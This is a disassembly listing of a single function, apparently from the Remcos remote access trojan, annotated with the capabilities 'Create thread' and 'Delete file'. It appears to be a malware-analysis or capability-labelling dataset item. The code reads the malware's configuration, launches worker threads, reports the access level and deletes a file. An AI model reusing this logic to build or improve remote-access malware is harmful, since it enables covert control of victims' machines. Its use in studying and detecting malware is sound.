Function at 0x1000db6f
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xfc
mov dword [0x1006fd20], ecx
push ebx
push esi
push edi
call fcn.1001ad7f
push 0x104
push 0x1006fb18
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x40]
call fcn.1000e250
sub esp, 0x18
mov ecx, esp
push 0x1007233c
call fcn.10002125
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.10002125
lea ecx, [esp + 0x54]
call fcn.10019f88
add esp, 0x30
push eax
call fcn.1000e640
lea ecx, [esp + 0x24]
call fcn.10001ead
xor al, al
cmp al, 0x2d
jne 0x1000dc2e
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x68]
call fcn.1000e6de
push 0x34
mov ecx, 0x10072318
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.1000fa5c
lea ecx, [esp + 0x58]
call fcn.1000e68f
lea ecx, [esp + 0x58]
call fcn.1000e23d
xor esi, esi
inc esi
jmp 0x1000dcea
mov ebx, 0x10072318
push 3
mov ecx, ebx
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push 0x1006278c
push 0xe
mov ecx, ebx
cmp byte [eax], 0
setne byte [0x1006fb12]
call fcn.10001e82
push eax
mov edx, str.Software_
lea ecx, [esp + 0x14]
call fcn.10005449
pop ecx
mov edx, eax
lea ecx, [esp + 0x28]
call fcn.1000646f
pop ecx
push eax
mov ecx, 0x100722b8
call fcn.1000200a
lea ecx, [esp + 0x24]
call fcn.10002000
lea ecx, [esp + 0xc]
call fcn.10002000
push 0xe
mov ecx, ebx
call fcn.10001e82
push eax
mov ecx, 0x100722e8
call fcn.10001fe6
mov esi, 0x10072354
push 0x10063444
mov ecx, esi
call fcn.10005bf1
push 6
mov ecx, ebx
call fcn.10001e82
mov edx, str.310M
mov ecx, eax
call fcn.10005c55
test al, al
je 0x1000dcde
push str.Shellcode
mov ecx, esi
call fcn.10005bf1
call fcn.1000ca50
test eax, eax
jne 0x1000dcfe
push 2
pop esi
lea ecx, [esp + 0x40]
call fcn.10002000
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [0x10071ac4]
test eax, eax
je 0x1000dd09
call eax
call fcn.100195a7
mov eax, dword [0x10071acc]
test eax, eax
je 0x1000dd1e
call eax
mov dword [0x1006e9d0], eax
push 0x27
mov ecx, ebx
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
cmp byte [eax], 0
je 0x1000dd38
call fcn.10007241
push 0xe
mov ecx, ebx
call fcn.10001e82
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.10019e29
push eax
mov ecx, 0x10072288
call fcn.10001f33
lea ecx, [esp + 0xc]
call fcn.10001f29
push 4
mov ecx, ebx
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push 5
mov ecx, ebx
cmp byte [eax], 0
setne byte [0x1006fb13]
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push 8
mov ecx, ebx
cmp byte [eax], 0
setne byte [0x1006fb10]
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push 3
mov ecx, ebx
cmp byte [eax], 0
setne byte [0x1006fb11]
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
cmp byte [eax], 0
je 0x1000de2a
push 0x30
mov ecx, ebx
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000ddd6
sub eax, edx
sar eax, 1
je 0x1000de2a
push 9
mov ecx, ebx
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push 0x30
mov ecx, ebx
mov esi, eax
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
mov dl, byte [esi]
lea ecx, [esp + 0xc]
push eax
call fcn.1000cb2b
pop ecx
push eax
mov ecx, 0x100722d0
call fcn.10001f33
lea ecx, [esp + 0xc]
call fcn.10001f29
push 0x1006fb18
mov ecx, 0x100722a0
call fcn.10008ab3
push 1
push 0x34
mov ecx, ebx
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
sub esp, 0x18
mov ecx, esp
push eax
call fcn.100020bd
push str.licence
mov ecx, 0x100722b8
call fcn.10001fce
mov edx, eax
call fcn.10011b45
add esp, 0x20
mov ecx, ebx
push 0x28
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push eax
call fcn.10039479
mov byte [0x1006fd24], al
pop ecx
cmp al, 2
jne 0x1000deaa
mov cl, 1
call fcn.1001afd8
push edi
push edi
push edi
push 0x1001b6a8
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
call edi
jmp 0x1000deb8
cmp al, 1
jne 0x1000deb2
xor cl, cl
jmp 0x1000de91
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.100020bd
sub esp, 0x18
mov ecx, esp
push 0x10062674
call fcn.100020bd
call fcn.100197d0
add esp, 0x30
mov ecx, ebx
push 0xb
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push 0x10
mov ecx, 0x10072318
mov bl, byte [eax]
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
test bl, bl
mov esi, eax
mov ebx, 0x10072318
setne cl
movzx ecx, cl
push ecx
push 7
mov ecx, ebx
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push eax
call fcn.10039479
pop ecx
push eax
push 0x11
mov ecx, ebx
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push eax
push 0x31
mov ecx, ebx
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push eax
movzx eax, byte [esi]
mov ecx, ebx
push eax
push 0x2a
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push eax
push 0xf
mov ecx, ebx
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
mov ecx, 0x100720b8
call fcn.10009995
push 0x14
mov ecx, ebx
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
cmp byte [eax], 1
jne 0x1000dfd0
push 2
call fcn.10031db2
mov esi, eax
xor ebx, ebx
pop ecx
push 0x35
mov ecx, 0x10072318
mov byte [esi], bl
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push ebx
push ebx
push esi
cmp byte [eax], bl
push 0x100182a6
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
jmp 0x1000dfd2
xor ebx, ebx
mov esi, 0x10072318
push 0x16
mov ecx, esi
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
cmp byte [eax], 1
jne 0x1000e026
push 2
call fcn.10031db2
mov esi, eax
pop ecx
push 0x35
mov ecx, 0x10072318
mov byte [esi], 1
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push ebx
push ebx
push esi
cmp byte [eax], 0
push 0x100182a6
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
mov esi, 0x10072318
push 0x23
mov ecx, esi
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
cmp byte [eax], 1
jne 0x1000e099
push 0x25
mov ecx, esi
mov byte [0x1006fa85], 1
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push 0x26
mov ecx, 0x10072318
mov esi, eax
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
mov dl, byte [esi]
lea ecx, [esp + 0xc]
push eax
call fcn.1000cadf
pop ecx
push eax
mov ecx, 0x10071d38
call fcn.10001f33
lea ecx, [esp + 0xc]
call fcn.10001f29
push ebx
push ebx
push ebx
push 0x10001c06
push ebx
push ebx
call edi
mov esi, 0x10072318
push 0x2b
mov ecx, esi
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
cmp byte [eax], 1
jne 0x1000e0e7
push 0x2c
mov ecx, esi
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push 0x2d
mov ecx, 0x10072318
mov esi, eax
call fcn.10001e82
mov ecx, eax
call fcn.10001fce
push eax
call fcn.10039479
cmp byte [esi], 0
mov edx, eax
pop ecx
setne cl
call fcn.1000bd58
lea ecx, [esp + 0xc]
call fcn.100198ee
push eax
mov ecx, 0x10072324
call fcn.10001f33
lea ecx, [esp + 0xc]
call fcn.10001f29
mov eax, dword [0x10071ac8]
test eax, eax
je 0x1000e110
push ebx
call eax
push ebx
push ebx
push ebx
push 0x1000e304
push ebx
push ebx
call edi
cmp byte [0x1006fd27], 0
je 0x1000e131
push ebx
push ebx
push ebx
push 0x10010c44
push ebx
push ebx
call edi
mov eax, dword [0x1006e9d0]
sub eax, ebx
je 0x1000e146
sub eax, 1
jne 0x1000e184
push str.Administrator
jmp 0x1000e14b
push str.User
lea ecx, [esp + 0x10]
call fcn.100020bd
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.10005425
sub esp, 0x14
mov ecx, esp
push 0x10062674
call fcn.100020bd
call fcn.100197d0
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.10002000
mov edi, 0x100722b8
push 0x100634a0
mov ecx, edi
call fcn.10001fce
mov edx, eax
call fcn.100118cf
pop ecx
test al, al
je 0x1000e232
push ecx
mov edx, edi
lea ecx, [esp + 0x10]
call fcn.10019e29
mov ecx, eax
call fcn.10001f24
push eax
lea ecx, [esp + 0x2c]
call fcn.100119eb
pop ecx
pop ecx
lea ecx, [esp + 0xc]
call fcn.10001f29
lea ecx, [esp + 0x24]
call fcn.10001f24
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x1000e1f5
cmp ebx, 0xa
jge 0x1000e1fc
push 0xa
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x24]
call fcn.10001f24
push eax
call esi
test eax, eax
je 0x1000e1de
push 0x100632dc
mov edx, edi
lea ecx, [esp + 0x10]
call fcn.10019e29
mov ecx, eax
call fcn.10001f24
mov edx, eax
mov ecx, closesocket
call fcn.10011d7f
pop ecx
lea ecx, [esp + 0xc]
call fcn.10001f29
lea ecx, [esp + 0x24]
call fcn.10001f29
call fcn.1000ce39
call fcn.1001326a
int3